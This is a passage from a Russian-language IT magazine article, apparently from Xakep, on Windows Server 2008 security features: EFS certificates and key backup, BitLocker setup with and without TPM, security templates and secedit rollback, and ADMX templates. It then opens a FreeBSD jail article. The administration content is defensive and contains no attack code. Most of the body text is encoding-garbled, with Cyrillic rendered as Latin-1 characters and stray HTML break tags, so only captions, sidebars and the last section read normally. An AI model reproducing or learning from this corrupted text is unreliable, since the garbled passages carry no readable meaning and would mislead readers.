â òîé æå ñèñòåìå ñëóæáû ñåðòèôèêàöèè AD CS (Active Directory Certificate<br />

Services).  ýòîì ñëó÷àå ñàìîñòîÿòåëüíî ñãåíåðèðîâàííûå ñåðòèôèêàòû<br />

áóäóò àâòîìàòè÷åñêè ïðèíèìàòüñÿ êàê äîâåðåííûå. Ñîçäàòü ñåðòèôèêàò<br />

äëÿ EFS ïðè ïîìîùè êîíñîëè «Ñåðòèôèêàòû» äîâîëüíî ïðîñòî. Íàõîäÿñü<br />

â ðàçäåëå «Ëè÷íîå», èç êîíòåêñòíîãî ìåíþ âûçûâàåì ìàñòåð ïîäà÷è çàÿâîê<br />

íà ñåðòèôèêàòû è ñëåäóåì åãî ðåêîìåíäàöèÿì.<br />

Åñëè êëþ÷ øèôðîâàíèÿ óòåðÿí èëè ïîâðåæäåí è íåò âîçìîæíîñòè åãî<br />

âîññòàíîâèòü, à òàêæå â òîì ñëó÷àå, åñëè ïîëüçîâàòåëüñêèé ïàðîëü áûë<br />

ñáðîøåí, ïîëó÷èòü äîñòóï ê çàøèôðîâàííûì äàííûì íåâîçìîæíî. ×òîáû<br />

íå ïîòåðÿòü èíôîðìàöèþ, ñèñòåìà ïðåäëàãàåò íåñêîëüêî âàðèàíòîâ<br />

ïîäñòðàõîâêè. Ñðàçó æå ïîñëå ñîçäàíèÿ ïåðâîãî çàøèôðîâàííîãî ôàéëà<br />

ïîÿâèòñÿ çàïðîñ íà ñîçäàíèå àðõèâíîé êîïèè êëþ÷à è ñåðòèôèêàòà.<br />

Äîñòàòî÷íî âûáðàòü «Àðõèâèðîâàòü ñåé÷àñ» è ïðè ïîìîùè ìàñòåðà ýêñïîðòà<br />

ñåðòèôèêàòîâ ñîõðàíèòü ñåðòèôèêàò â ôàéë îáìåíà ëè÷íîé èíôîðìàöèåé<br />

(.pfx). ×òîáû ðåçåðâíàÿ êîïèÿ íå ñòàëà ïðîáëåìîé, â öåëÿõ<br />

îáåñïå÷åíèÿ áåçîïàñíîñòè àðõèâíûé ôàéë äîïîëíèòåëüíî çàùèùàåòñÿ<br />

ïàðîëåì. Àíàëîãè÷íûé ìàñòåð ìîæíî âûçâàòü èç êîíñîëè certmgr.msc. È,<br />

íàêîíåö, òðåòèé âàðèàíò — àãåíò âîññòàíîâëåíèÿ êëþ÷à.<br />

БИТОВЫЙ ЗАМОК Íîâàÿ òåõíîëîãèÿ BitLocker, âïåðâûå ïîÿâèâøàÿñÿ â<br />

Vista, â âåðñèÿõ Ultimate/Enterprise, ñòàëà ïðîäîëæåíèåì èäåè, çàëîæåííîé<br />

â EFS. Åå ãëàâíîå îòëè÷èå — óìåíèå øèôðîâàòü öåëûé òîì (òîì â òåðìèíîëîãèè<br />

Windows — ëîãè÷åñêàÿ ñòðóêòóðà, êîòîðàÿ ìîæåò ñîñòîÿòü<br />

èç îäíîãî èëè íåñêîëüêèõ ðàçäåëîâ). Êðîìå äàííûõ, âîçìîæíî øèôðîâàíèå<br />

ðååñòðà, ôàéëîâ ïîäêà÷êè è ãèáåðíàöèè. Òàê æå, êàê è EFS, ðàáîòà<br />

BitLocker ïîëíîñòüþ ïðîçðà÷íà äëÿ ïîëüçîâàòåëÿ, è øèôðîâàíèå ïðàêòè÷åñêè<br />

íå ñêàçûâàåòñÿ íà ïðîèçâîäèòåëüíîñòè ñèñòåìû. Ïî óìîë÷àíèþ<br />

äëÿ øèôðîâàíèÿ èñïîëüçóåòñÿ àëãîðèòì AES ñ 128-ðàçðÿäíûì êëþ÷îì.<br />

Ñ ïîìîùüþ ãðóïïîâûõ ïîëèòèê èëè ÷åðåç WMI (manage-bde.wsf) ðàçìåð<br />

êëþ÷à ìîæíî óâåëè÷èòü äî 256 áèò. Íàèáîëüøèé ýôôåêò ïðè èñïîëüçîâàíèè<br />

BitLocker äîñòèãàåòñÿ íà ïëàòôîðìàõ, ïîääåðæèâàþùèõ ñïåöèôèêàöèþ<br />

TPM (Trusted Platform Module). TPM-ìèêðîêîíòðîëëåð ñïîñîáåí<br />

ñîçäàâàòü è õðàíèòü áåçîïàñíûå êëþ÷è, à èíôîðìàöèþ, çàùèùåííóþ<br />

ïðè ïîìîùè òàêèõ êëþ÷åé, ìîæíî ïðî÷èòàòü òîëüêî íà óñòðîéñòâàõ, ïîääåðæèâàþùèõ<br />

ÒÐÌ.<br />

Ïðè ïîìîùè BitLocker ìîæíî çàøèôðîâàòü ñèñòåìíûé òîì, íî äëÿ åãî<br />

ðàáîòû ïîòðåáóåòñÿ, ìèíèìóì, äâà òîìà, îòôîðìàòèðîâàííûõ â NTFS.<br />

Îäèí áóäåò èñïîëüçîâàí ñîáñòâåííî äëÿ óñòàíîâêè ñèñòåìû, à íà âòîðîì<br />

(â íåçàøèôðîâàííîì âèäå) ðàçìåñòÿòñÿ çàãðóçî÷íûé ñåêòîð, äèñïåò÷åð<br />

çàãðóçêè è çàãðóç÷èê Windows. Ó÷èòûâàÿ âîçìîæíîñòü ñîçäàíèÿ ðàçëè÷íîãî<br />

ðîäà âðåìåííûõ ôàéëîâ, ðàçìåð àêòèâíîãî ðàçäåëà ðåêîìåíäóåòñÿ<br />

óñòàíîâèòü íå ìåíåå 1.5 Ãá. Åñëè ýòà ñõåìà ïðè óñòàíîâêå íå ðåàëèçîâàíà,<br />

òî êîíñîëü BitLocker ïîñëå çàïóñêà îòêàæåòñÿ ðàáîòàòü è âûäàñò ïðåäóïðåæäåíèå.<br />

Äëÿ ïîäãîòîâêè äèñêà äÿäüêè èç Microsoft ðåêîìåíäóþò<br />

èñïîëüçîâàòü BitLocker Drive Preparation Tool (support.microsoft.com/<br />

kb/933246).<br />

Íóæíî îòìåòèòü, ÷òî íåçàøèôðîâàííûé ðàçäåë — íàèáîëåå óÿçâèì, òàê<br />

êàê çäåñü ìîæíî ñïðÿòàòü ðóòêèò, êîòîðûé ìîæåò ñòàðòîâàòü äî çàãðóçêè.<br />

 ñèñòåìàõ, ïîääåðæèâàþùèõ TPM, îáåñïå÷èâàåòñÿ êîíòðîëü öåëîñòíîñòè<br />

ñèñòåìíûõ ôàéëîâ è íà ýòàïå çàãðóçêè. Åñëè êîìïîíåíòû èçìåíåíû,<br />

Windows ïîïðîñòó íå ñòàíåò ðàáîòàòü.<br />

Äëÿ äîñòóïà ê çàøèôðîâàííîìó ðàçäåëó íåîáõîäèìî èñïîëüçîâàòü<br />

TPM, PIN-êîä èëè USB-êëþ÷ ñ âîçìîæíîñòüþ êîìáèíàöèè ýòèõ ìåòîäîâ.<br />

Åñòåñò âåííî, ñàìûé çàùèùåííûé âàðèàíò âêëþ÷àåò èõ âñå: TPM + PINêîä<br />

+ USB-êëþ÷. Ñàì êëþ÷ ìîæåò õðàíèòüñÿ â TPM èëè â USB-óñòðîéñòâå.<br />

 ñëó÷àå ñ TPM ïðè çàãðóçêå êîìïüþòåðà êëþ÷ ìîæåò ëèáî áûòü ïîëó÷åí<br />

èç íåãî ñðàçó, ëèáî òîëüêî ïîñëå àóòåíòèôèêàöèè ñ ïîìîùüþ USB-êëþ÷à<br />

èëè ââîäà PIN-êîäà.<br />

Êîìïîíåíò BitLocker âõîäèò â ñîñòàâ ÎÑ, íî ïî óìîë÷àíèþ íå óñòàíàâëèâàåòñÿ.<br />

Àêòèâèðóåòñÿ îí òðàäèöèîííûì äëÿ Win2k8 ñïîñîáîì — ïðè<br />

ïîìîùè Äèñïåò÷åðà ñåðâåðà. Ùåëêàåì ññûëêó «Äîáàâèòü êîìïîíåíòû», â<br />

îêíå ìàñòåðà îòìå÷àåì ôëàæîê «Øèôðîâàíèå äèñêà BitLocker» (BitLocker<br />

Drive Encrypion). Ïî îêîí÷àíèè óñòàíîâêè ïîòðåáóåòñÿ ïåðåçàãðóçêà ñèñòåìû.<br />

Èëè â êîìàíäíîé ñòðîêå íàáèðàåì:<br />

> ServerManagerCmd -install BitLocker -restart<br />

Åñëè îáîðóäîâàíèå ïîääåðæèâàåò TPM, ïîñëå ïåðåçàãðóçêè ñèñòåìû<br />

çàïóñêàåì êîíñîëü «Óïðàâëåíèå äîâåðåííûì ïëàòôîðìåííûì ìîäóëåì<br />

TPM» (tpm.msc). Îáíàðóæåííûé ìîäóëü áóäåò âûâåäåí â îñíîâíîì îêíå,<br />

èíèöèàëèçèðóåì åãî, íàæàâ ñîîòâåòñòâóþùóþ êíîïêó. Çàòåì ïî çàïðîñó<br />

ñîçäàåì ïàðîëü âëàäåëüöà TPM è ñîõðàíÿåì íà ñìåííûé íîñèòåëü. Ñîáñòâåííî<br />

àêòèâàöèÿ BitLocker ïðîèçâîäèòñÿ â êîíñîëè «Øèôðîâàíèå äèñêà<br />

BitLocker» (BitLocker Drive Encryption), êîòîðàÿ íàõîäèòñÿ â «Ïàíåëè óïðàâëåíèÿ».<br />

Çäåñü âñå ïðîñòî. Îòìå÷àåì íóæíûé òîì, ùåëêàåì «Âêëþ÷èòü<br />

BitLocker» (Turn On BitLocker) è âûáèðàåì îäèí èç ñïîñîáîâ ñîõðàíåíèÿ<br />

ïàðîëÿ âîññòàíîâëåíèÿ (USB, íà äèñê èëè ðàñïå÷àòàòü). Èç ýòîé æå êîíñîëè<br />

ìîæíî âðåìåííî èëè ïîëíîñòüþ îòêëþ÷èòü BitLocker.<br />

XÀÊÅÐ 04 /124/ 09<br />

107


SYN/ACK<br />

Компонент BitLocker входит в состав ОС, но по умолчанию<br />

не устанавливается<br />

В системе без TPM перед использованием BitLocker следует изменить<br />

групповые политики<br />

info<br />

• Для преобразования<br />

файлов .adm в<br />

.admx, а также для<br />

создания и редактирования<br />

готовых<br />

.admx используй<br />

бесплатную<br />

программу ADMX<br />

Migrator, которую<br />

можно найти на<br />

сайте Microsoft.<br />

• Обновленная консоль<br />

GPO в Win2k3/<br />

Win2k8 позволяет<br />

работать<br />

с ADMX-файлами.<br />

• В Win2k8 сертификаты,<br />

позволяющие<br />

получить доступ к<br />

зашифрованным данным,<br />

можно хранить<br />

на смарт-картах.<br />

• BitLocker не шифрует<br />

метаданные,<br />

загрузочные и поврежденные<br />

сектора.<br />

108<br />

Сертификат, сгенерированный при включении EFS<br />

Òàê êàê èçíà÷àëüíî ìåõàíèçì øèôðîâàíèÿ çàâÿçàí íà èñïîëüçîâàíèè<br />

TPM, â ñèñòåìàõ, ãäå îí îòñóòñòâóåò, ïðèäåòñÿ<br />

âûïîëíèòü åùå ðÿä øàãîâ, ÷òîáû àêòèâèðîâàòü BitLocker.<br />

Äëÿ ýòîãî âûçûâàåì «Ðåäàêòîð ãðóïïîâîé ïîëèòèêè»<br />

(gpedit.msc) è ïåðåõîäèì â «Ðåäàêòîð ëîêàëüíîé ïîëèòèêè<br />

— Àäìèíèñòðàòèâíûå øàáëîíû — Êîìïîíåíòû Windows»<br />

(Group Policy Object Editor — Administrative — Templates<br />

— Windows Component). Âûáèðàåì ïóíêò «Øèôðîâàíèå<br />

äèñêà BitLocker» (BitLocker Encryption) è äâàæäû ùåëêàåì<br />

«Óñòàíîâêà ïàíåëè óïðàâëåíèÿ: âêëþ÷èòü äîïîëíèòåëüíûå<br />

ïàðàìåòðû çàïóñêà». Â ïîÿâèâøåìñÿ îêíå óñòàíàâëèâàåì<br />

ïåðåêëþ÷àòåëü â ïîëîæåíèå «Âêëþ÷èòü» è àêòèâèðóåì ôëàæîê<br />

«Ðàçðåøèòü èñïîëüçîâàíèå BitLocker áåç ñîâìåñòèìîãî<br />

TPM». Òåïåðü âìåñòî TPM ìîæíî èñïîëüçîâàòü êëþ÷ çàïóñêà<br />

íà USB-óñòðîéñòâå. Çàêðûâàåì ðåäàêòîð, ÷òîáû íîâûå<br />

íàñòðîéêè ãðóïïîâûõ ïîëèòèê âñòóïèëè â ñèëó, è ââîäèì<br />

êîìàíäó «gpupdate.exe /force».<br />

 ñîñòàâ Win2k8 âõîäèò äîïîëíèòåëüíûé êîìïîíåíò «Óäàëåííîå<br />

óïðàâëåíèå BitLocker» (BitLocker-RemoteAdminTool),<br />

êîòîðûé ìîæíî óñòàíîâèòü áåç âêëþ÷åíèÿ BitLocker íà èñïîëüçóåìîì<br />

ñåðâåðå. Äëÿ ýòîãî äîñòàòî÷íî ââåñòè êîìàíäó:<br />

> ServerManagerCmd -install RSAT-BitLocker<br />

ШАБЛОНЫ БЕЗОПАСНОСТИ Íåñìîòðÿ íà ñâîå ãðîçíîå<br />

íàçâàíèå, øàáëîíû áåçîïàñíîñòè (Security Templates) ïðåäñòàâëÿþò<br />

ñîáîé îáû÷íûå òåêñòîâûå ôàéëû ñ ðàñøèðåíèåì<br />

.inf. Â íèõ ñîäåðæàòñÿ ãîòîâûå íàñòðîéêè áåçîïàñíîñòè:<br />

ëîêàëüíûå ïîëíîìî÷èÿ, ÷ëåíñòâî â ëîêàëüíûõ ãðóïïàõ (â<br />

Активировать EFS очень просто<br />

èäåàëå, ïîëüçîâàòåëè íå äîëæíû ÿâëÿòüñÿ ÷ëåíàìè ãðóïï,<br />

äàþùèõ áîëüøå ïðàâ, ÷åì èì â äåéñòâèòåëüíîñòè íóæíî),<br />

ðàçðåøåíèÿ äëÿ äîñòóïà ê ñåðâèñàì, ôàéëàì, êàòàëîãàì è<br />

ðàçäåëàì ðååñòðà. Ñ èõ ïîìîùüþ ìîæíî íå òîëüêî óêàçàòü,<br />

÷òî òîëüêî ïîëüçîâàòåëü user10 èìååò ïðàâî âûïîëíèòü<br />

äåéñòâèå X íàä îáúåêòîì Y, íî è ëåãêî âåðíóòü ñèñòåìó ê äåôîëòîâûì<br />

ñèñòåìíûì óñòàíîâêàì. Ýòî ìîæåò áûòü ïîëåçíî,<br />

êîãäà ïîñëå íåêîòîðûõ èçìåíåíèé ñèñòåìà ïåðåñòàëà íîðìàëüíî<br />

ôóíêöèîíèðîâàòü. Íàñòðîèâ øàáëîíû áåçîïàñíîñòè,<br />

èõ çàòåì ìîæíî ëåãêî âíåäðèòü ïðè ïîìîùè ãðóïïîâûõ<br />

ïîëèòèê (Group Policy) ñðàçó íà íåñêîëüêî ñåðâåðîâ èëè äàæå<br />

íà âñå êîìïüþòåðû äîìåíà.<br />

 Win2k3 èñïîëüçîâàëîñü äåâÿòü øàáëîíîâ (íàéäåøü èõ â<br />

êàòàëîãå %systemroot%\security\templates) — êàæäûé îòâå÷àë<br />

çà ñâîé ó÷àñòîê íàñòðîåê. Íàïðèìåð, âñå íàñòðîéêè,<br />

ñâÿçàííûå ñ áåçîïàñíîñòüþ, íàõîäèëèñü â Secure*.inf-ôàéëàõ.<br />

 Win2k8 âñåãî òðè ãëàâíûõ ôàéëà, â êîòîðûõ ñîäåðæàòñÿ<br />

øàáëîíû íàñòðîåê òèïè÷íûõ ñöåíàðèåâ èñïîëüçîâàíèÿ<br />

ñèñòåìû:<br />

1. Defltbase.inf — áàçîâûå/îáùèå íàñòðîéêè.<br />

2. Defltsv.inf — íàñòðîéêè, ñïåöèôè÷íûå äëÿ ñåðâåðîâ.<br />

3. Defltdc.inf — íàñòðîéêè, ñïåöèôè÷íûå äëÿ êîíòðîëëåðîâ<br />

äîìåíà.<br />

È ãëàâíîå: èçìåíåíî ðàñïîëîæåíèå ôàéëîâ — òåïåðü îíè íàõîäÿòñÿ<br />

â %systemroot%\inf ñðåäè ìíîæåñòâà äðóãèõ ôàéëîâ,<br />

èìåþùèõ ðàñøèðåíèå inf. Ýòî íåñêîëüêî çàòðóäíÿåò ïîèñê<br />

íóæíîãî øàáëîíà. Åñòü åùå ðÿä äîïîëíèòåëüíûõ ôàéëîâ äëÿ<br />

ðåøåíèÿ óçêîñïåöèàëèçèðîâàííûõ çàäà÷, íàïðèìåð, dcfirst.<br />

inf ñëåäóåò ïðèìåíÿòü ïðè ñîçäàíèè ïåðâîãî ÊÄ â ëåñó. Íî<br />

XÀÊÅÐ 04 /124/ 09


SYN/ACK<br />

Месторасположение шаблонов безопасности в Win2k8<br />

изменено<br />

Анализ существующих настроек при помощи MMC<br />

èìåííî òðè óêàçàííûõ âûøå øàáëîíà ÿâëÿþòñÿ îñíîâíûìè,<br />

è èõ ìîæíî èñïîëüçîâàòü äëÿ ïðèìåíåíèÿ ïîëèòèêè âðó÷íóþ<br />

ïðè ïîìîùè óòèëèòû secedit.<br />

×òîáû ïðîàíàëèçèðîâàòü áåçîïàñíîñòü êîìïüþòåðà, èñïîëüçóÿ<br />

øàáëîíû áåçîïàñíîñòè, çàïóñêàåì êîíñîëü MMC,<br />

âûáèðàåì «Äîáàâëåíèå è óäàëåíèå îñíàñòêè» è ïðèñîåäèíÿåì<br />

îñíàñòêó «Àíàëèç è íàñòðîéêà áåçîïàñíîñòè». Ïîÿâèòñÿ<br />

ïóñòîå ðàáî÷åå îêíî, äàëåå ñëåäóåì ïîäñêàçêàì. Âûáèðàåì<br />

â êîíòåêñòíîì ìåíþ ïóíêò «Îòêðûòü áàçó äàííûõ», òàê êàê<br />

áàçû ó íàñ ïîêà íåò, ñîçäàåì åå, ââåäÿ ëþáîå èìÿ ôàéëà. Ïî<br />

çàïðîñó èìïîðòèðóåì îäèí èç øàáëîíîâ áåçîïàñíîñòè, êîòîðûé<br />

áóäåì èñïîëüçîâàòü â äàëüíåéøåì. ×òîáû ïðîàíàëèçèðîâàòü<br />

ñèñòåìó, ïåðåõîäèì â êîíòåêñòíîå ìåíþ «Àíàëèçèðîâàòü<br />

êîìïüþòåð». Ïî îêîí÷àíèè àíàëèçà áóäóò âûâåäåíû<br />

âñå òåêóùèå íàñòðîéêè. Êñòàòè, ïîäîáíûå óñòàíîâêè ìîæíî<br />

ïîëó÷èòü è ïðè ïîìîùè óòèëèòû «gpresult /v», âûâîäÿùåé<br />

ïàðàìåòðû ãðóïïîâîé è ðåçóëüòèðóþùåé ïîëèòèêè (RSOP).<br />

Åñëè òû çíàêîì ñ GPO (Group Policy Objects), ìîæåøü ñðàâíèòü<br />

ýòè óñòàíîâêè ñ øàáëîíîì áåçîïàñíîñòè.<br />

Äàëåå ïðîñìàòðèâàåì íàñòðîéêè, ïðè íåîáõîäèìîñòè âíîñÿ<br />

èçìåíåíèÿ. Íàñòðîéêè ñèñòåìû, íå ñîîòâåòñòâóþùèå<br />

øàáëîíó, áóäóò îòìå÷åíû êðàñíûì êðåñòèêîì. Âûçâàòü äëÿ<br />

ðåäàêòèðîâàíèÿ íóæíûé ïóíêò ìîæíî äâîéíûì êëèêîì. Â<br />

ìåíþ «Ïîêàçàòü ôàéë æóðíàëà» áóäóò ïîêàçàíû âñå ïðîàíàëèçèðîâàííûå<br />

ïàðàìåòðû è ñîîòâåòñòâèå íàñòðîåê ñèñòåìû<br />

âûáðàííîìó øàáëîíó áåçîïàñíîñòè.<br />

Âíåñåííûå ñåé÷àñ èçìåíåíèÿ íèêàê íå ïîâëèÿþò íà òåêóùèå<br />

íàñòðîéêè êîìïüþòåðà, — îíè áóäóò çàíåñåíû òîëüêî â áàçó<br />

äàííûõ. Ïðè íåîáõîäèìîñòè âñå óñòàíîâêè ìîæíî ýêñïîðòèðîâàòü<br />

â ôàéë *.inf äëÿ ïðèìåíåíèÿ â äðóãèõ ñèñòåìàõ. ×òîáû<br />

çàäåéñòâîâàòü øàáëîí, âûáèðàåì â êîíòåêñòíîì ìåíþ<br />

ïóíêò «Íàñòðîèòü êîìïüþòåð» è óêàçûâàåì íà ìåñòî ñîõðàíåíèÿ<br />

ôàéëà æóðíàëà, êîòîðûé áóäåò ïîêàçàí ïî îêîí÷àíèè<br />

ðàáîòû óòèëèòû.<br />

Îòêàò íîâûõ óñòàíîâîê èç MMC íå ïðåäóñìîòðåí. ×òîáû çàðåçåðâèðîâàòüñÿ,<br />

ñîõðàíè ïåðâîíà÷àëüíóþ áàçó èëè íåïîñðåäñòâåííî<br />

ïåðåä ïðèìåíåíèåì èñïîëüçóé secedit ñ ïàðàìåòðîì<br />

GenerateRollback:<br />

> secedit /GenerateRollback /CFG Defltsv.inf /<br />

RBK Rollback.inf /log RollbackLog.log<br />

XÀÊÅÐ 04 /124/ 09<br />

ADM/ADMX ШАБЛОНЫ Àäìèíèñòðàòèâíûå øàáëîíû<br />

(ôàéëû ôîðìàòà .adm) ïîçâîëÿþò àäìèíèñòðàòîðó ïîñðåäñòâîì<br />

ãðóïïîâîé ïîëèòèêè êîíôèãóðèðîâàòü ñèñòåìíûé ðååñòð<br />

êëèåíòñêèõ êîìïüþòåðîâ. Ýòî çíà÷èò, ÷òî äëÿ ëþáîãî<br />

êëèåíòà, ïîäïàäàþùåãî ïîä äåéñòâèå íåêîòîðîãî îáúåêòà<br />

GPO, ñèñòåìíûé ðååñòð áóäåò ñêîíôèãóðèðîâàí â ñîîòâåòñòâèè<br />

ñ àäìèíèñòðàòèâíûì øàáëîíîì (îïðåäåëåííûì â ðàìêàõ<br />

äàííîãî îáúåêòà).<br />

ADM-ôàéëû õðàíÿòñÿ ëîêàëüíî íà êîìïüþòåðàõ, ïîäêëþ-<br />

÷åííûõ ê äîìåíó, è âèäíû â øàáëîíå ãðóïïîâîé ïîëèòèêè<br />

(GPT). Ïîñëåäíèé íàõîäèòñÿ â SYSVOL è ðåïëèöèðóåòñÿ íà<br />

îñòàëüíûå ñèñòåìû.  èòîãå ìû ïîëó÷àëè ìíîæåñòâî îäèíàêîâûõ<br />

ôàéëîâ è ïîëíîå îòñóòñòâèå êîíòðîëÿ âåðñèé. Ïîçäðàâëÿþ,<br />

òåïåðü îá ýòèõ ïðîáëåìàõ ìîæíî çàáûòü :).<br />

Íà÷èíàÿ ñ Vista, â ÎÑ Windows èñïîëüçóåòñÿ íå òîëüêî<br />

íîâûé ôîðìàò àäìèíèñòðàòèâíûõ øàáëîíîâ íà áàçå<br />

XML — ôàéëû .admx, íî è ôóíêöèîíèðóþò îíè íåñêîëüêî<br />

èíà÷å. Ôàéëû ADMX õðàíÿòñÿ â öåíòðàëüíîì õðàíèëèùå,<br />

è â GPO íàïðÿìóþ íè÷åãî íå çàïèñûâàåòñÿ. Ýòî<br />

ïîçâîëÿåò óìåíüøèòü ðàçìåð SYSVOL è îáúåì ðåïëèöèðóåìûõ<br />

äàííûõ. Ïðè èçìåíåíèè â îäíîì èç ôàéëîâ<br />

ADMX èíôîðìàöèÿ êîïèðóåòñÿ íà äðóãèå ñèñòåìû. ×òîáû<br />

óïðîñòèòü ñîçäàíèå ëîêàëèçîâàííûõ îïèñàíèé (ðàíåå<br />

äëÿ êàæäîãî ÿçûêà èñïîëüçîâàëñÿ ñâîé ADM), ñòðîêîâûé<br />

ðàçäåë ôàéëà ADMX âûíåñåí â îòäåëüíûé ôàéë<br />

ADML. Êñòàòè, øàáëîíû ADM ïîääåðæèâàþòñÿ ïî-ïðåæíåìó,<br />

íî èñïîëüçîâàòü öåíòðàëèçîâàííîå õðàíèëèùå<br />

äëÿ íèõ íåëüçÿ.<br />

Ñîçäàòü öåíòðàëüíîå õðàíèëèùå â äîìåíå íåñëîæíî. Ïåðåõîäèì<br />

íà ÊÄ â êàòàëîã SYSVOL\Policies è êîïèðóåì ñþäà ñîäåðæèìîå<br />

C:\Windows\PolicyDefinitions, âêëþ÷àÿ ÿçûêîâûå<br />

ïîäêàòàëîãè ñ ADML-ôàéëàìè (â ëîêàëèçîâàííîé âåðñèè<br />

en_US è ru_RU). Ïîñëå ýòîãî ðåäàêòîð îáúåêòîâ óâèäèò ýòè<br />

ôàéëû è áóäåò ê íèì îáðàùàòüñÿ; ëîêàëüíûå æå — èãíîðèðóþòñÿ.<br />

Äëÿ ïðåîáðàçîâàíèÿ ôàéëîâ ADM â ADMX, à òàêæå äëÿ ñîçäàíèÿ<br />

è ðåäàêòèðîâàíèÿ ãîòîâûõ ADMX íåîáõîäèìà áåñïëàòíàÿ<br />

ïðîãðàììà ADMX Migrator, êîòîðóþ ìîæíî íàéòè ïîèñêîì<br />

íà ñàéòå Microsoft. Äëÿ ðåäàêòèðîâàíèÿ ADMX ïîäîéäåò<br />

è ëþáîé èç XML-ðåäàêòîðîâ, êîèõ ñåãîäíÿ íà ïîðÿäîê áîëüøå,<br />

÷åì ñïåöèàëèçèðîâàííûõ ðåäàêòîðîâ ADM. z<br />

links<br />

• Подробнее о TPM<br />

устройствах читай на<br />

странице Wikipedia:<br />

ru.wikipedia.org/wiki/<br />

Trusted_Platform_<br />

Module.<br />

• Дополнительные<br />

сведения<br />

об особенностях<br />

алгоритма шифрования<br />

BitLocker (на<br />

английском языке)<br />

смотри в статье «AES-<br />

CBC + диффузор<br />

Elephant» по адресу<br />

— go.microsoft.com/<br />

fwlink/?LinkId=82824.<br />

• Для подготовки<br />

диска перед использованием<br />

BitLocker<br />

Microsoft рекомендует<br />

утилиту BitLocker<br />

Drive Preparation Tool<br />

(support.microsoft.<br />

com/kb/933246).<br />

• В Сети существуют<br />

специальные ресурсы<br />

вроде GPanswers.<br />

com, где можно<br />

получить файлы ADM/<br />

ADMX.<br />

109


SYN/ACK<br />

ЕВГЕНИЙ «J1M» ЗОБНИН<br />

/ ZOBNIN@GMAIL.COM /<br />

Узник<br />

тайной тюрьмы<br />

Используем FreeBSD Jail для изолирования небезопасных сервисов<br />

FreeBSD хороша в качестве серверной ОС — поломать ее непросто<br />

даже в базовой конфигурации. Но не всякое ПО может похвастаться<br />

такой же надежностью и оперативностью исправления ошибок. Поэтому<br />

на важных серверах принято использовать jail, который запирает<br />

небезопасное стороннее ПО на замок, не позволяя взломщику навредить<br />

операционной системе.<br />

>> SYN/ACK<br />

ОТ ПЕСОЧНИЦЫ ДО ТЮРЬМЫ — ОДИН<br />

ШАГ Ïî ïîðó÷åíèþ ðóêîâîäñòâà òû ïîäíèìàåøü<br />

êîðïîðàòèâíûé ftp-ñåðâåð, äîëãî íàñòðàèâàåøü<br />

ïðàâà äîñòóïà, íàïîëíÿåøü êîíòåíòîì,<br />

çàáîòëèâî îêðóæàåøü ôàéðâîëîì è ñ ÷óâñòâîì<br />

âûïîëíåííîãî äîëãà îòïðàâëÿåøüñÿ äîìîé, à<br />

íàóòðî îáíàðóæèâàåøü íà ãëàâíîé ñòðàíè÷êå<br />

êîðïîðàòèâíîãî ïîðòàëà çëîáíóþ íàäïèñü «You<br />

are hacked!». «×òî çà áðåä», — äóìàåøü òû, ïûòàÿñü<br />

îáíàðóæèòü ñëåäû è ñïîñîá ïðîíèêíîâåíèÿ,<br />

êîòîðûì îêàçûâàåòñÿ… åñòåñòâåííî, óÿçâèìûé<br />

ftp-ñåðâåð. Äèðåêòîð êàê âñåãäà çàæàë äåíåã íà<br />

âûäåëåííóþ ìàøèíó äëÿ ftp-ñåðâåðà, è ïîýòîìó<br />

ïðèõîäèòñÿ ëàòàòü äûðû è íàäåÿòüñÿ, ÷òî â<br />

ñëåäóþùèé ðàç òû âîâðåìÿ íàêàòèøü âàæíûå<br />

îáíîâëåíèÿ.<br />

Ýòî — íåñêîëüêî íàäóìàííàÿ ïðîâèíöèàëüíàÿ<br />

èñòîðèÿ, íî îíà õîðîøî îòðàæàåò ñóòü ïðîáëåìû.<br />

Ñèñòåìà îêàçûâàåòñÿ áåççàùèòíîé ïåðåä<br />

âçëîìùèêîì: ñêîìïðîìåòèðîâàâ îäèí èç ñåðâèñîâ,<br />

çëîóìûøëåííèê àâòîìàòè÷åñêè ïîëó÷àåò<br />

ïîëíûé äîñòóï êî âñåì îñòàëüíûì. È äàæå åñëè<br />

ñëóæáà ðàáîòàåò ñ ïðàâàìè íåïðèâèëåãèðîâàííîãî<br />

ïîëüçîâàòåëÿ (÷òî ïîä÷àñ íåâîçìîæíî),<br />

ãðàìîòíûé ñïåöèàëèñò ñìîæåò èñïîëüçîâàòü<br />

èìåþùèåñÿ ïðàâà äëÿ èññëåäîâàíèÿ ñèñòåìû,<br />

ïîâûøåíèÿ ïðàâ ÷åðåç ëîêàëüíûå óÿçâèìîñòè<br />

èëè óñòàíîâêè ðàçëè÷íûõ áýêäîðîâ.<br />

Íåâîëüíî íàïðàøèâàåòñÿ ìûñëü îá îòäåëåíèè<br />

îïàñíîãî ñåðâèñà îò ÎÑ, åãî èçîëÿöèè, ïîìåùåíèè<br />

â áåçîïàñíóþ ñðåäó, èç êîòîðîé îí íå ñìîæåò<br />

íàâðåäèòü îñíîâíîé ñèñòåìå. Òàêîé èçîëÿòîð<br />

íàçûâàåòñÿ «ïåñî÷íèöåé» è ðåàëèçóåòñÿ ñ ïîìîùüþ<br />

ñèñòåìíîãî âûçîâà chroot(2), êîòîðûé<br />

çàñòàâëÿåò ïðèëîæåíèå äóìàòü, ÷òî óêàçàííûé<br />

â àðãóìåíòå êàòàëîã — ýòî êîðåíü ôàéëîâîé<br />

ñèñòåìû. Êàê ðåçóëüòàò, çàïóùåííàÿ ïðîãðàììà<br />

ðàáîòàåò â êàòàëîãå /usr/chroot (äëÿ ïðèìåðà)<br />

è íå ìîæåò íàâðåäèòü îñíîâíîé ñèñòåìå (âåäü<br />

ïîäíÿòüñÿ íà êàòàëîã âûøå êîðíÿ íåëüçÿ). Ïåñî÷íèöà<br />

õîðîøî ïîäõîäèò äëÿ ñåðâèñîâ, ðàáîòàþùèõ<br />

ñ ïðàâàìè ðÿäîâûõ ïîëüçîâàòåëåé, íî,<br />

êàê òîëüêî ïðîãðàììà ïîëó÷àåò ïðèâèëåãèè<br />

root, âñå ðóøèòñÿ. Ñóïåðïîëüçîâàòåëü îñòàåòñÿ<br />

ïðè ñâîèõ ïðàâàõ è â chroot, ìîæåò çàãðóæàòü<br />

ìîäóëè ÿäðà, ìîíòèðîâàòü ôàéëîâûå ñèñòåìû<br />

è äåëàòü âñå, ÷òî äóøà ïîæåëàåò. Ïîýòîìó äëÿ<br />

«îñîáî îïàñíûõ» èçîëÿòîð óæå íå ïîäõîäèò, —<br />

íóæíà íàñòîÿùàÿ òþðüìà!<br />

